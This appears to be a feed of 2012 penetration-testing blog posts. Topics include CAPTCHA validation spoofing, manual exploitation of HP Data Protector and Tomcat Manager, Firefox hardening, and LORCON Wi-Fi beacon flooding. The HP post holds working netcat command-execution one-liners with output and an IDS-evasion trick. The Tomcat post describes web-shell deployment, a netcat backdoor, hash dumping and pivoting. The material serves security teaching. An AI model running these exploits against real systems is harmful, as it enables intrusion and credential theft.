Quantcast
Channel: Open Security Research
Viewing all 107 articles
Browse latest View live
↧

Bypassing CAPTCHAs by Impersonating CAPTCHA Providers

August 21, 2012, 3:00 am
$
0
0
By Gursev Kalra.

CAPTCHA service providers validate millions of CAPTCHAs each day and protect thousands of websites against the bots. A secure CAPTCHA generation and validation ecosystem forms the basis of the mutual trust model between the CAPTCHA provider and the consumer. A variety of damage can occur if any component of this ecosystem is compromised.

During Analysis of the CAPTCHA integration libraries provided by several CAPTCHA providers (including reCAPTCHA) revealed that almost all of the CAPTCHA verification API’s relied on plain text HTTP protocol to perform CAPTCHA validation. Because of this, the CAPTCHA provider’s identity was not validated, message authentication checks were not performed and the entire CAPTCHA validation was performed on an unencrypted channel. This vulnerability was also reported to reCAPTCHA team several months back.

If you decompile the .NET Plugin, you'll be able to pull out reCAPTCHA's verification URL, which demonstrates the absense of HTTPS:



In the current scenario, two types of attacks can be launched against vulnerable CAPTCHA implementations. These attacks are based on the assumption that an attacker is able to intercept the CAPTCHA validation traffic between target website and the CAPTCHA provider.

Private Key Compromise

Most of CAPTCHA providers issue private and public keys to identify a particular consumer and to enforce an upper limit on the number of CAPTCHAs used by them. Private keys are often sent over to the CAPTCHA provider during the CAPTCHA validation process. If the public and private keys are sent using plain text HTTP, an attacker could sniff the private keys and:

  1. Use the CAPTCHA service for without registering for the service by using the captured keys.
  2. Exhaust the target web site’s CAPTCHA quota for the service, which depending on the CAPTCHA provider may cause a wide variety of unexpected issues.

The CAPTCHA Clipping Attack

The following image describes what I call the "CAPTCHA Clipping Attack". Notice that steps 5 and 6 in blue would be the normal operation of events. We'll go into the attack in a little more detail below.



Since the website’s application server acts as a client to CAPTCHA provider during steps 5 and 6 (in blue) and the application server often neglects to validate the CAPTCHA provider’s identity and the session integrity checks, an attacker may be able to impersonate the CAPTCHA provider and undermine the anti-automation protection (steps 5 and 6 in red). CAPTCHA validation responses are mostly Boolean (true or false, success or failure, pass or fail, 0 or 1). The response format and its contents are also publicly available as part of CAPTCHA provider’s API documentation. This allows an attacker to easily construct the finite set of possible responses, impersonate the CAPTCHA provider, and perform malicious CAPTCHA validation for the application servers.

To exploit this vulnerability an attacker performs the following:

  1. The attacker acts as a legitimate application user and submits a large number of requests to the web application.
  2. At the same time, he/she intercepts CAPTCHA validation requests, masquerades as the CAPTCHA provider and approves all submitted requests.

Masquerading as the CAPTCHA provider and not forwarding the CAPTCHA validation requests to the actual CAPTCHA provider is the CAPTCHA Clipping Attack.

clipcaptcha

clipcaptcha is a proof of concept exploitation tool that specifically targets the vulnerabilities discussed above and allows complete bypass of CAPTCHA provider protection. clipcaptcha is built on the sslstrip codebase and has the following features:

  1. Performs signature based CAPTCHA provider detection and clipping.
  2. Can be easily extended to masquerade as any CAPTCHA provider by adding corresponding signatures to the configuration XML file.
  3. Has built in signatures of several CAPTCHA providers including reCAPTCHA, OpenCAPTCHA, Captchator etc…
  4. Logs POST requests that match any supported CAPTCHA provider to capture private and public keys. Unmatched requests are forwarded as is.
  5. clipcaptcha supports five operational modes. These are “monitor”, “stealth”, “avalanche”, “denial of service” and “random”.



Download

clipcaptcha can be downloaded here:



Want more info? We'll have a new whitepaper about the attack in Foundstone's whitepaper section soon!

↧
Search

Manually Exploiting HP Data Protector

August 28, 2012, 3:00 am
$
0
0
By Tony Lee, Amit Bagree, and Paul Haas.

Occasionally, you may find yourself in a spot where there are vulnerability checks for an issue, however there are no available exploits. In some cases you may be able to convert the check into an exploit as shown below. When we ran across this finding a while back, there were no metasploit or publicly available exploits—so we created our own with the process below.

Vulnerability Details

McAfee Vulnerability Manager (MVM) Finding

Name: HP Data Protector Client EXEC_CMD Perl Remote Code Execution
ID: 59903
Short name: HP Data Prot Mnger RCE
Alternate: CVE-2011-0923

Nessus Finding

Name: HP Data Protector Remote Command Execution
Plugin ID: 53641
Family: Gain a shell remotely
Bugtraq ID: 46234
Bugtraq ID: CVE-2011-0923

Detailed Description

“A remote code execution vulnerability exists in some versions of HP Data Protector. The flaw exists within the filtering of arguments to the EXEC_CMD command. The Data Protector client allows remote attackers to execute files within the local bin directory. Attackers can interact with a Perl interpreter and execute arbitrary code by supplying maliciously crafted input to the EXEC_CMD.” - McAfee Vulnerability Manager

Figuring out the Trigger

Probably the easiest method to determine the trigger for a particular plug-in is to look at it's source. Since Nessus is all open source this is relatively simple: just enter the plug-in directory and cat out the contents of the plug-in. However, if for whatever reason you cannot do that, you'll need to use wireshark, and assuming the data is sent in the clear, you can sniff the communication and determine the trigger. Thats how we'll continue, since its a little harder :)

Capturing with Wireshark

Open Wireshark and start the sniffer. Throw just that one exploit and follow the stream. Export the raw hex as shown below.



With the raw hex, you'll have to do some basic reformating then just use echo to type it out the to console. We'll redirect it into hexdump to make it look a little cleaner:

 root@bt:~#  echo -e '\x00\x00\x00\xa4 2\x00 nessus\x00 0\x00 SYSTEM\x00 nessus\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././\\windows\\system32\\ipconfig.exe\x00\x00' |  hexdump –C

00000000  00 00 00 a4 20 32 00 20  6e 65 73 73 75 73 00 20  |.... 2. nessus. |
00000010  30 00 20 53 59 53 54 45  4d 00 20 6e 65 73 73 75  |0. SYSTEM. nessu|
00000020  73 00 20 43 00 20 32 30  00 20 6f 6d 6e 69 63 68  |s. C. 20. omnich|
00000030  65 63 6b 2e 65 78 65 00  20 72 65 73 65 61 72 63  |eck.exe. researc|
00000040  68 00 20 2f 64 65 76 2f  6e 75 6c 6c 00 20 2f 64  |h. /dev/null. /d|
00000050  65 76 2f 6e 75 6c 6c 00  20 2f 64 65 76 2f 6e 75  |ev/null. /dev/nu|
00000060  6c 6c 00 20 30 00 20 30  00 20 2e 2e 2f 2e 2e 2f  |ll. 0. 0. ../../|
00000070  2e 2e 2f 2e 2e 2f 2e 2f  2e 2f 2e 2f 2e 2f 2e 2f  |../.././././././|
00000080  2e 2f 2e 2f 2e 2f 2e 2f  2e 2f 2e 2f 5c 77 69 6e  |././././././\win|
00000090  64 6f 77 73 5c 73 79 73  74 65 6d 33 32 5c 69 70  |dows\system32\ip|
000000a0  63 6f 6e 66 69 67 2e 65  78 65 00 00 0a           |config.exe...|
000000ad



Now all that is needed to throw this at a target is to change “hexdump –C” to “nc [host] [port]”. For instance: 
 nc 192.168.1.2 5555



Avoiding the IDS

Depending on the configuration, an IDS might trigger on anything. Oddly enough, the one we were playing with, only triggered on the "Nessus" tag! 

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 FSchck\x00 0\x00 SYSTEM\x00 FSchck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././\\windows\\system32\\ipconfig.exe\x00\x00' |  hexdump -C
00000000  00 00 00 a4 20 32 00 20  46 53 63 68 63 6b 00 20  |.... 2. FSchck. |
00000010  30 00 20 53 59 53 54 45  4d 00 20 46 53 63 68 63  |0. SYSTEM. FSchc|
00000020  6b 00 20 43 00 20 32 30  00 20 6f 6d 6e 69 63 68  |k. C. 20. omnich|
00000030  65 63 6b 2e 65 78 65 00  20 72 65 73 65 61 72 63  |eck.exe. researc|
00000040  68 00 20 2f 64 65 76 2f  6e 75 6c 6c 00 20 2f 64  |h. /dev/null. /d|
00000050  65 76 2f 6e 75 6c 6c 00  20 2f 64 65 76 2f 6e 75  |ev/null. /dev/nu|
00000060  6c 6c 00 20 30 00 20 30  00 20 2e 2e 2f 2e 2e 2f  |ll. 0. 0. ../../|
00000070  2e 2e 2f 2e 2e 2f 2e 2f  2e 2f 2e 2f 2e 2f 2e 2f  |../.././././././|
00000080  2e 2f 2e 2f 2e 2f 2e 2f  2e 2f 2e 2f 5c 77 69 6e  |././././././\win|
00000090  64 6f 77 73 5c 73 79 73  74 65 6d 33 32 5c 69 70  |dows\system32\ip|
000000a0  63 6f 6e 66 69 67 2e 65  78 65 00 00 0a           |config.exe...|



Sending

Against a Windows Host

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 fschck\x00 0\x00 SYSTEM\x00 fschck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../../././././././././././\\windows\\system32\\whoami.exe\x00\x00' | nc xxx.xxx.xxx.xxx 5555

Jÿþ15 [70:18] nt authority\systemÿþ6 0



Against a Linux Host

 root@bt:~# echo -e '\x00\x00\x00\xa4 2\x00 fschck\x00 0\x00 SYSTEM\x00 fschck\x00 C\x00 20\x00 omnicheck.exe\x00 research\x00 /dev/null\x00 /dev/null\x00 /dev/null\x00 0\x00 0\x00 ../../../.././././././././././././././././././././usr/bin/id\x00\x00' | nc xxx.xxx.xxx.xxx 5555

¿15 [12:1] [2004] 13015 blah.blah.com uid=0(root) gid=0(root) groups=3(sys),1(other),2(bin),4(adm),5(daemon),6(mail),7(lp),20(users)



The nice thing about these one-liners is that they can be scripted to check a series of hosts.

Limitations

The one limitation that we ran across is that we could not include spaces, thus we could not supply parameters to our commands--even a \x20 was getting eaten.

Solution: Paul came up with a slick way to get the shadowed hashes, add a user, and log in (great for any occasion where you have remote command execution without params):

  1. Run “pwunconv” to put password hashes into /etc/passwd
  2. Run “vipw” to display /etc/passwd
  3. Crack the hashes
  4. Log into box with legitimate credentials

Current State

There is now a metasploit module that will get shell on a *nix box, however spaces in Windows still seems to be an issue. Read the MSF modules for complete descriptions. 
 Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/admin/hp/hp_data_protector_cmd       2011-02-07       normal     HP Data Protector 6.1 EXEC_CMD Command Execution
   exploit/linux/misc/hp_data_protector_cmd_exec  2011-02-07       excellent  HP Data Protector 6.1 EXEC_CMD Remote Code Execution



The Fix

There is a fix for this issue which we obviously recommend applying as soon as possible (after proper testing). Download the latest version A.06.20 of HP Data Protector from http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143.

Final Thoughts

When a publicly available exploit does not exist, but a vulnerability check does—it may be possible to get the exploit from the check with some careful [packet] inspection. Brainstorm with some colleagues and it may be possible to leverage creative methods to eventually gain access to the host even with significant limitations.

↧
↧

Basic Steps to Protect Firefox and Your Browsing Experience (How not to be a victim!)

August 31, 2012, 3:00 am
$
0
0
By Jerry Pierce.

If you are like 99% of the population you graciously allow Microsoft to update your operating system software on a regular basis and you probably (hopefully!!) have an Anti-Virus product installed which is kept reasonably current in regards to detection and protection mechanisms.

On newer versions of Windows, the “Action Center” can be checked to review the state of your systems general health in regard to a Firewall, Windows Updates and Anti-Virus protections being present and functional:


Unfortunately most people still overlook one of the most common infection vectors which we see as Incident Responders within Foundstone, which is your Browser and its associated Plug-Ins.

You can’t ever really be in that 100% “cannot be infected/compromised” state of mind because vulnerabilities are constantly discovered, but you can greatly decrease the chances of this happening to you by taking a few more proactive steps on your computer.

Use NoScript

The first step I recommend is to use Firefox with the NoScript plug-in. NoScript is very well known and prohibits any script execution except for those specific sites where I have explicitly allowed them to be run (aka a “white list”). When I fire up Firefox, I see this indicator of NoScript’s status:



When I visit a website that isn’t already in my “white list” I see a slightly different representation:



It’s surprising the number of scripts (and sites) a single web page can be referencing. To see what sites are being prohibited from script execution in the current browser window, just click on the NoScript icon:



Here we see that the only attempts to execute any scripts are related directly to “mitre.org” and I can either add “mitre.org” to my “white list” by clicking on “Allow mitre.org” or temporarily allow execution for this browser session by selecting “Temporarily allow mitre.org”.

If there were multiple links attempting to execute scripts and I “trusted” them, I can globally allow execution by selecting “Allow all this page” or “Temporarily allow all this page”. (I generally never select the carte blanche “Allow all this page” and suggest you adopt that same level of prudent paranoia.

Be aware that when you visit your legitimate web sites you will have to initially add them to your “white list” so that subsequent visits will allow the site to look/behave normally – but it’s really worth the tiny bit of effort involved to raise the security bar.

Blocking script execution from general websites is already a HUGE improvement in your browser security, but you can take this much further with some simple additional steps.

Update Your Browser!

Make sure your browser itself is current and up-to-date. For Firefox, you just have to fire it up and then select “Help” and then “About Firefox” (as shown below).



If all is well and good you should see something similar to this:



If you don’t see the message: “Firefox is up to date”, it’s time to update! Below we see a screenshot of a system which has been found to have an outdated version of Firefox installed:



Update your Add-ons

Next we need to check your Add-ons (aka plugins) to ensure they are current and not known to be vulnerable. Once again from within Firefox, select “Tools” and then “Add-ons” to bring up the Add-Ons Manager:


It’s unfortunately pretty common for us to have multiple Plugins associated with our browsers, and any of them can be the key to infection or compromise. Once the “Add-On” manager is running, select “Plugins” and then “Check to see if your plugins are up to date”:



If you’re lucky (most aren’t) you’ll find that none of your plugins are obsolete or have a known security issue associated with them. Most of us will see that we have one (or more) plugins which require an update to be installed. For any plugin which is shown as being out-of-date it’s critical you install an update immediately:


Looks like we’ve got at least 2 plugins which need to be updated immediately!

With just a little effort you can dramatically improve your systems ability to fight off most infections/compromise vectors. In a nutshell:
  • Patch your operating system regularly
  • Ensure you have an active and current Anti-Virus running
  • Use a tool such as NoScript to prevent carte-blanche script execution when browsing the web
  • Ensure your browser is current and up-to-date
  • Ensure your plugins are all current and up-to-date

What do you do to protect yourself? Let us know in the comments below!


↧

Manually Exploiting Tomcat Manager

September 4, 2012, 3:00 am
$
0
0
By Tony Lee.

Apache Tomcat is a very popular open source implementation for handling JavaServer Pages. However, Apache Tomcat is often deployed with default or weak credentials protecting the web accessible Tomcat Manager functionality. Tomcat Manager allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely.

A very common initial foothold for attackers is to take advantage of weak or default Tomcat Manager Credentials and use this to remotely deploy and execute a payload to gain a backdoor to the host.

Vulnerability scanners will pick up this particular finding as:

McAfee Vulnerability Manager (MVM): Tomcat Manager Default Or Blank Login Password
Nessus: Apache Tomcat Manager Common Administrative Credentials

The Metasploit exploit (tomcat_mgr_deploy) is the de facto exploit for this vulnerability and is usually rock solid, however I have seen a few occasions where it will fail with little-to-no explanation. Additionally, the host may have A/V or HIPS that catches the payload and it may be necessary to upload a custom binary or extra special treat manually instead of using MSF to deploy it. The information below is just one possible manual workaround if you don’t have the time to troubleshoot the issue.

Assess the situation

In my scenario:
  • Windows 7 (32-bit) development box
  • Default Tomcat manager credentials running on port 8081
  • UAC enabled
  • Tried setting target 2 (for Windows) and we were getting a “500 Internal Server Error” with all payloads <- frustrating…. :|
  • Tried automatic target and java payloads—nothing worked!!


The steps and screenshots below illustrate how to deploy an alternative shell and provide a few ideas of what to do—note: these are only ideas; your plan of attack may be different depending on the circumstance.

Download and extract an alternative shell

Download the Laudanum files (which contains the cmd.war file) from here:
(props to Kevin Johnson, Tim Medin, and John Sawyer)

According to the SourceForge page:
“Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments. They provide functionality such as shell, DNS query, LDAP retrieval and others.”

Extract and understand the code

This is always a best practice to try to understand the code. Even if you are not familiar with the language, use Google and try to understand what the code is doing to the best of your abilities. It will help you learn how to effectively use the tool and may identify limitations or areas of concern.

Upload the cmd.war

Upload the cmd.war file to the remote server in the “WAR file to deploy” section shown in the screenshot below:



Utilize the JSP shell

Utilize the shell (found at /cmd/cmd.jsp) to run various situational awareness commands

Remember, many commands you are used to running are a function of the command shell and are not individual binaries—such as dir. In this case, execute them by first specifying “cmd.exe /c [whatever]” (as shown below).



Get file transfer capabilities

Luckily the developer enabled the tftp client on this Windows 7 host. Wooot!



Upgrade your shell

We could not get a meterpreter shell to execute for some reason. I believe this had to do with UAC and the particular user’s permissions. So we settled for hex edited netcat (which is a step up from the jsp shell).

To transfer (transfer an alternate backdoor to the remote host -- this is a hex edited version of netcat):



Start listener and receive callback (the first command is starting a local listener and the second command is executed on the remote host after the callback succeeds.):



Get creative

This pivot host can now be used to not only attack the host itself, but also others in the network. You are only limited by the privileges that you can gain and your own imagination. For example, you could upload gsecdump in order to dump hashes, fpipe to portforward other protocols to bypass firewalls, or use Windows native commands in order to datamine and propagate to other hosts. Not the sexiest hack, but it is quite effective.



This article and hack utilized and expanded on an idea from the following blog entry (props and thanks to the author):

Summary

Metasploit is a powerful framework that simplifies the attacks and adds fantastic functionality, but knowledge of the manual methods is a must—especially when your trusty tools fail and in-depth troubleshooting is not an option. This often comes up in our classes when students ask why we show multiple ways to accomplish a task... If you want to hack, you gotta learn how things really work and be able to bounce back if your tool fails.

↧

Getting Started With LORCON

September 11, 2012, 4:35 am
$
0
0
By Brad Antoniewicz.

Loss Of Radio CONnectivity (LORCON) is an IEEE 802.11 packet injection library. It was originally created by Joshua Wright and Michael Kershaw ("dragorn") - I think Johnny Cache was an early contributor as well. As of now, dragorn maintains it, however it doesn't seem that there have been many updates in the last year or so.

One of the biggest issues in wireless tool development was that tools needed to be driver-specific, so if the author didn't take into account a specific driver, the tool didn't work. Additionally, many tools implemented their own functions for packet capture and injection, resulting in lots of code duplication. These issues were first brought up in a talk called "The Need for an 802.11 Wireless Toolkit" by Mike Schiffman at Blackhat in 2002. Schiffman released a proof of concept library called "libradiate" which offered a solution to these problems. Unfortunately libradiate fell off the edge of the earth and wireless hackers everywhere found themselves in a deep void surrounded by sadness. A few years later, in 2007, LORCON emerged. It eased development issues by creating standard function calls for injection and capture, and added a layer of abstraction such that tool developers wouldn't need to worry about the wireless driver or adapter in use.

There have been two major releases: LORCON (defunct) and LORCON2 (current). We'll use the terms LORCON and LORCON2 interchangeably throughout this post when referring to the current version. LORCON2 supports the Linux mac80211 wireless drivers. The release also includes a Ruby extension to facilitate Ruby development.

Although LORCON hasn't been updated all to often, it still works well, is extremely powerful, and is very easy to use. For whatever reason, people seem to have forgotten about it, so this post will hopefully kick everyone in the butt and provide a quick intro into using the library.

Installation and Setup

As usual, I'll be using BackTrack (BT5R3 to be specific) as my Linux distribution, and I've created a couple of code examples and patches which can be found on github repo here:


The first step is to clone the the repo:
 root@bt:~# git clone https://github.com/OpenSecurityResearch/lorcon_examples.git



Core Installation

LORCON has supposedly been moved from its original location (http://802.11ninja.net/) to a fancy new Google Code repo (https://code.google.com/p/lorcon/), however I noticed the Google Code version doesn't include the packet forging functionality that I think is really useful, so we'll stick to the older release for the sake of this article.

I made a couple of small changes to make the packet forging functionality work and enable a couple of other useful functions. The handful of changes are summed up in this patch. Overall, the installation is pretty basic:

 root@bt:~# apt-get update
 root@bt:~# apt-get upgrade
 root@bt:~# apt-get install libnl-dev
 root@bt:~# svn co http://802.11ninja.net/svn/lorcon/trunk lorcon2
 root@bt:~# cd lorcon2
 root@bt:~/lorcon2# patch -p1 < ../lorcon_examples/lorcon.patch
 root@bt:~/lorcon2# ./configure --prefix=/usr
 root@bt:~/lorcon2# make depend
 root@bt:~/lorcon2# make
 root@bt:~/lorcon2# make install



Ruby Installation

In a previous blog post Robert Portvliet detailed how to handle LORCON's Ruby extensions on BT5R2, specifically for Metasploit integration. That article details most of the specifics, so I'll just repeat the major points here for completeness. Note that the lorcon.patch includes the STR2CSTR() fixes.

To install:

 root@bt:~# cd lorcon2/ruby-lorcon/
 root@bt:~/lorcon2/ruby-lorcon# ruby extconf.rb
 root@bt:~/lorcon2/ruby-lorcon# make
 root@bt:~/lorcon2/ruby-lorcon# make install



Then to test:

 root@bt:~/lorcon2/ruby-lorcon# ruby test.rb wlan1
Checking LORCON version
20091101

Fetching LORCON driver list
{"madwifing"=>
  {"name"=>"madwifing",
   "description"=>"Linux madwifi-ng drivers, deprecated by ath5k and ath9k"},
 "tuntap"=>
  {"name"=>"tuntap", "description"=>"Linux tuntap virtual interface drivers"},
 "mac80211"=>
  {"name"=>"mac80211",
   "description"=>
    "Linux mac80211 kernel drivers, includes all in-kernel drivers on modern systems"}}

Resolving driver by name 'mac80211'
{"name"=>"mac80211",
 "description"=>
  "Linux mac80211 kernel drivers, includes all in-kernel drivers on modern systems"}

Auto-detecting driver for interface wlan0
{"name"=>"mac80211",
 "description"=>
  "Linux mac80211 kernel drivers, includes all in-kernel drivers on modern systems"}

Created LORCON context

Opened as INJMON: wlan1mon

Channel: 11
#<Lorcon::Packet:0x9e248a8>
#<Lorcon::Packet:0x9e24894>



Python Bindings

There are actually two projects that extend LORCON into the Python world:

  • pylorcon - Based on its change history, this project was the first, starting in 2007. pylorcon started out with a Google Code page which now redirects users to a GitHub repository. Looking at its source, the Google Code page appears to be written to support LORCON1 while the github page supports LORCON2. The GitHub repository is titled "pylorcon2" which confusingly enough, is the same name as the second project that extends LORCON2 to python.

  • pylorcon2 - In 2010 a couple of guys from Core Security created pylorcon2. This project consists mainly of a Google Code Page. It supports all of the basic functionality of LORCON2, but doesn't support advanced functions such as capture loops.


For the purpose of this article, I'll use the Google Code pylorcon2. Although the GitHub pylorcon2 actually has more functionality, I stumbled upon the Google Code one first and so I've grown more comfortable with it. If you have a good reason to choose one over the other, please let me know in the comments below.

To install:

 root@bt:~# apt-get update
 root@bt:~# apt-get upgrade
 root@bt:~# apt-get install libnl-dev
 root@bt:~# wget http://pylorcon2.googlecode.com/files/PyLorcon2-0.1.tar.gz
 root@bt:~# tar -zxvf PyLorcon2-0.1.tar.gz
 root@bt:~# cd PyLorcon2-0.1
 root@bt:~/PyLorcon2-0.1# python setup.py build
 root@bt:~/PyLorcon2-0.1# python setup.py install



If you try to use the test.py of the Google Code pylorcon2 it'll fail when trying to set the MAC address. Everything else works fine though, so you can either comment out the def testMAC(self) function or just ignore it. I haven't spent any time tracking down the root cause of the issue since it doesn't impact me much.

To test (with def testMAC(self) commented out): 
 root@bt:~/PyLorcon2-0.1# python test.py
testAutoDriver (__main__.PyLorcon2TestCase) ... ok
testChannel (__main__.PyLorcon2TestCase) ... ok
testFindDriver (__main__.PyLorcon2TestCase) ... ok
testGetDriverName (__main__.PyLorcon2TestCase) ... ok
testGetVersion (__main__.PyLorcon2TestCase) ... ok
testInjection (__main__.PyLorcon2TestCase) ... ok
testListDrivers (__main__.PyLorcon2TestCase) ... ok
testTimeout (__main__.PyLorcon2TestCase) ... ok
testVap (__main__.PyLorcon2TestCase) ... ok

----------------------------------------------------------------------
Ran 9 tests in 0.011s

OK



Program Structure

The sample code I created within the lorcon_examples GitHub provides a couple of simple examples to get you started with LORCON. The code is broken up into blocks so that you can use them as templates to make your own packet injection tools. These examples all follow a basic structure, breaking the program up into three main blocks:

  1. Context setup
  2. Injection/Capture
  3. Context cleanup

Context setup

At the heart of LORCON is the "LORCON context" which is more or less representative of the wireless interface you're interacting with. The context adds a layer of abstraction between your program and the wireless driver. Instead of dealing with the driver directly, you deal with the context. This way your program doesn't need to worry about any driver specifics and thus can work with any drivers LORCON supports.

The context needs to be configured though. First LORCON needs to figure out what driver is being used. The lorcon_auto_driver() function automatically determines this based on the interface provided. Here's some example C code that determines the driver for a provided interface:
 // Automatically determine the driver of the interface
        if ( (driver = lorcon_auto_driver(interface)) == NULL) {
                printf("[!] Could not determine the driver for %s\n",interface);
                return -1;
        } else {
                printf("[+]\t Driver: %s\n",driver->name);
        }



Now that we've determined the driver, we can set up the LORCON context. In C, the lorcon_create() function handles that for us:
 // Create LORCON context
        if ((context = lorcon_create(interface, driver)) == NULL) {
                printf("[!]\t Failed to create context");
                return -1;
        }



Next we'll need to enable monitor mode on the interface using the lorcon_open_injmon() function. This creates a Monitor Mode VAP on the interface provided to handle monitoring and injection. 
 // Create Monitor Mode Interface
        if (lorcon_open_injmon(context) < 0) {
                printf("[!]\t Could not create Monitor Mode interface!\n");
                return -1;
        } else {
                printf("[+]\t Monitor Mode VAP: %s\n",lorcon_get_vap(context));
                lorcon_free_driver_list(driver);
        }



Finally, we'll just need to set a specific channel to listen/transmit on with the lorcon_set_channel:
 // Set the channel we'll be injecting on
        lorcon_set_channel(context, channel);
        printf("[+]\t Using channel: %d\n\n",channel);



Injection/Capture

We'll focus specifically on injection for this article. Injection is handled with the lorcon_send_bytes() and lorcon_inject() functions. lorcon_send_bytes() is as basic as it gets, taking in a array of bytes and simply sending it:
 // Raw packet bytes (from capture_example.c included within LORCON)
        unsigned char packet[115] = {
        0x80, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // dur ffff
        0xff, 0xff, 0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03,
        0x00, 0x0f, 0x66, 0xe3, 0xe4, 0x03, 0x00, 0x00, // 0x0000 - seq no.
        0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS timestamp
        0x64, 0x00, 0x11, 0x00, 0x00, 0x0f, 0x73, 0x6f,
        0x6d, 0x65, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x63,
        0x6c, 0x65, 0x76, 0x65, 0x72, 0x01, 0x08, 0x82,
        0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03,
        0x01, 0x01, 0x05, 0x04, 0x00, 0x01, 0x00, 0x00,
        0x2a, 0x01, 0x05, 0x2f, 0x01, 0x05, 0x32, 0x04,
        0x0c, 0x12, 0x18, 0x60, 0xdd, 0x05, 0x00, 0x10,
        0x18, 0x01, 0x01, 0xdd, 0x16, 0x00, 0x50, 0xf2,
        0x01, 0x01, 0x00, 0x00, 0x50, 0xf2, 0x02, 0x01,
        0x00, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x00, 0x00,
        0x50, 0xf2, 0x02};

 // Send and exit if error
                if ( lorcon_send_bytes(context, sizeof(packet), packet) < 0 )
                        return -1;




The lorcon_inject() function requires the use of a lorcon_packet_t structure which contains the raw bytes plus a bunch of other information about the packet you're injecting. This comes in handy when you use LORCON's built-in packet forging capabilities which we'll talk about later on.

Context cleanup

Finally, once our program has completed, we'll just need to close the interface we've created, and free up the context using the lorcon_close() and lorcon_free() functions: 
 // Close the interface
        lorcon_close(context);

 // Free the LORCON Context
        lorcon_free(context);



Your First Flooder

Using the examples, lets see what a basic beacon flooder looks like using LORCON.

Using C

beacon_flood_raw.c is broken up into the three main parts as described above. It leverages the lorcon_send_bytes() function to send the packet defined in the packet[] array. I've added a slight delay in between sending packets, and also some friendly output for the user.

To compile:
 root@bt:~/lorcon_examples# gcc -o beacon_flood_raw -lorcon2 beacon_flood_raw.c



To run:
 root@bt:~/lorcon_examples# ./beacon_flood_raw -i wlan1 -c 11



Using Python

beacon_flood_raw.py is pretty much the minor image of beacon_flood_raw.c but in Python - same output and all.

To run:
 root@bt:~/lorcon_examples# python beacon_flood_raw.py -i wlan1 -c 11



Using LORCON for Packet Creation

One feature that I absolutely love is the LORCON's packet forging capabilities. Rather than using a byte array for your frame, LORCON allows you to create a frame on the fly within a structure called a metapack. Once you've built your frame, you transform it into a lorcon_packet_t then send it using lorcon_inject(). There are a bunch of functions to create any type of frame you'd like:
  • lcpf_80211headers()
  • lcpf_80211ctrlheaders()
  • lcpf_qosheaders()
  • lcpf_beacon()
  • lcpf_add_ie()
  • lcpf_disassoc()
  • lcpf_probereq()
  • lcpf_proberesp()
  • lcpf_rts()
  • lcpf_deauth()
  • lcpf_authreq(()
  • lcpf_authresp()
  • lcpf_assocreq()
  • lcpf_assocresp()
  • lcpf_data()

Following our previous examples, lets create a beacon frame with lcpf_beacon() and add various Information Element(IE) tags to it with lcpf_add_ie():
 lcpa_metapack_t *metapack; // metapack for LORCON packet assembly
 lorcon_packet_t *txpack; // The raw packet to be sent

 // Initialize the LORCON metapack
 metapack = lcpa_init();

 // Create a Beacon frame from 00:DE:AD:BE:EF:00
 lcpf_beacon(metapack, mac, mac, 0x00, 0x00, 0x00, 0x00, timestamp, interval, capabilities);

 // Append IE Tag 0 for SSID
 lcpf_add_ie(metapack, 0, strlen(ssid),ssid);

 // Most of the following IE tags are not needed, but added here as examples

 // Append IE Tag 1 for rates
 lcpf_add_ie(metapack, 1, sizeof(rates)-1, rates);

 // Append IE Tag 3 for Channel
 lcpf_add_ie(metapack, 3, 1, &channel);

 // Append IE Tags 42/47 for ERP Info
 lcpf_add_ie(metapack, 42, 1, "\x05");
 lcpf_add_ie(metapack, 47, 1, "\x05");



Next we'll convert it to a LORCON packet (lorcon_packet_t):
 // Convert the LORCON metapack to a LORCON packet for sending
 txpack = (lorcon_packet_t *) lorcon_packet_from_lcpa(context, metapack);



and send:
 // Send and exit if error
 if ( lorcon_inject(context,txpack) < 0 )
            return -1;



To put the entire picture together, this is all shown in beacon_flood_lcpa.c.

To compile:
 root@bt:~/lorcon_examples# gcc -o beacon_flood_lcpa -lorcon2 beacon_flood_lcpa.c



To run:
 root@bt:~/lorcon_examples# ./beacon_flood_lcpa -s brad -i wlan1 -c 11



Enjoy!

Now its your turn - try to take one of the examples and create a tool to de-authenticate users from an access point!

What do you use LORCON for? Let me know in the comments below!

↧
↧

Simple Cross Site Scripting Vector That Webkit XSS Auditor Ignores

September 18, 2012, 7:00 am
$
0
0
By Tushar Dalvi.

Google Chrome has a lesser known feature named “XSSAuditor” that was added to help mitigate reflective XSS. Its contained as a part of the Webkit and works very similarly to NoScript and XSS filter in Internet Explorer 8 and above.

The Chromium Blog’s security features page describes the behavior of XSSAuditor as:
“The XSS filter is similar to those found in Internet Explorer 8 and NoScript. Instead of being layered on top of the browser like those filters, our XSS filter is integrated into WebKit, which Google Chrome uses to render webpages. Integrating the XSS filter into the rendering engine has two benefits: (1) the filter can catch scripts right before they are executed, making it easier to detect some tricky attack variations, and (2) the filter can be used by every WebKit-based browser, including Safari and Epiphany”

How it works

XSSAuditor works by taking note of the user-provided input when a web page is requested and then evaluating it before the page is rendered. The user-provided input is first inspected to identify if it contains malicious input, and if it does, XSSAuditor blocks it.

XSSAuditor also tracks where the user input is reflected in the rendered page. Every HTML page contains elements that fall into one of the 5 output contexts: HTML entity, HTML attribute, JavaScript, CSS, and URL. Since output contexts have different structures and formatting, XSSAuditor evaluates the context the user input falls within and then sanitizes it appropriately for that context.

